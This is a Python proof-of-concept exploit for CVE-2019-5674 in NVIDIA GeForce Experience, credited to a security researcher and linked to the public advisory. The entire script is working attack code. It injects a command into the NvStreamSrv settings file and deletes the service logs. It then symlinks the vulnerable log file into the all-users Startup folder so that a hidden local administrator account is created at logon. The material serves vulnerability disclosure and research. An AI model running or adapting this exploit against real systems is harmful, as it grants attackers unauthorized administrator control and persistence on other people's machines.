##################################################################################################################################
#Description: This POC demonstrates CVE‑2019‑5674, the potential to use NVIDIA container.exe to overwrite                        #
#arbitrary files and execute commands on other users.                                                                            #
#Versions Affected: GeForce Experience (GFE) < 3.18                                                                              #   
#Researcher: David Yesland Twitter: @Daveysec                                                                                    #
#Blog Link: https://rhinosecuritylabs.com/application-security/nvidia-arbitrary-file-writes-to-command-execution-cve-2019-5674/  # 
#CVE Link: https://nvidia.custhelp.com/app/answers/detail/a_id/4784                                                              #
##################################################################################################################################

import os
import sys

bat_file = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cmd.bat\""

cmd = "net user newadmin password1234 /add & net localgroup administrators newadmin /add"

command_overwrite = '''GswsDeviceUri=https://prod.gamestream.nvidia.com
GSProxyUri=https://proxy.gamestream.nvidia.com" & '''+cmd+''';"'''

def step1():
    print '[+] Writing command'
    f = open("C:\\ProgramData\\NVIDIA Corporation\\NvStreamSrv\\settings.txt","w")
    f.write(command_overwrite)
    f.close()

    print '[+] Clearing log folder'
    os.system("del /Q /F \"C:\\ProgramData\\NVIDIA Corporation\\nvstreamsvc\\*\"")

    print '[+] Creating symlink to bat file from vulnerable log file'
    symlink_cmd = "createsymlink -p \"C:\\ProgramData\\NVIDIA Corporation\\nvstreamsvc\\nvstreamsvcCurrent.log\" "+bat_file
    print symlink_cmd
    os.system(symlink_cmd)


def step2():
    #fix the symlink after reboot
    print '[+] Creating symlink to bat file from vulnerable log file'
    symlink_cmd = "createsymlink.exe -p \"C:\\ProgramData\\NVIDIA Corporation\\nvstreamsvc\\nvstreamsvcCurrent.log\" "+bat_file
    print symlink_cmd
    os.system(symlink_cmd)

if len(sys.argv) < 2 or sys.argv[1] not in ['1','2']:
    print "Usage safe-mode: python nvidia_exploit.py 1"
    print "Usage after: python nvidia_exploit.py 2"
	
if sys.argv[1] == str(1):
    step1()

if sys.argv[1] == str(2):
    step2()




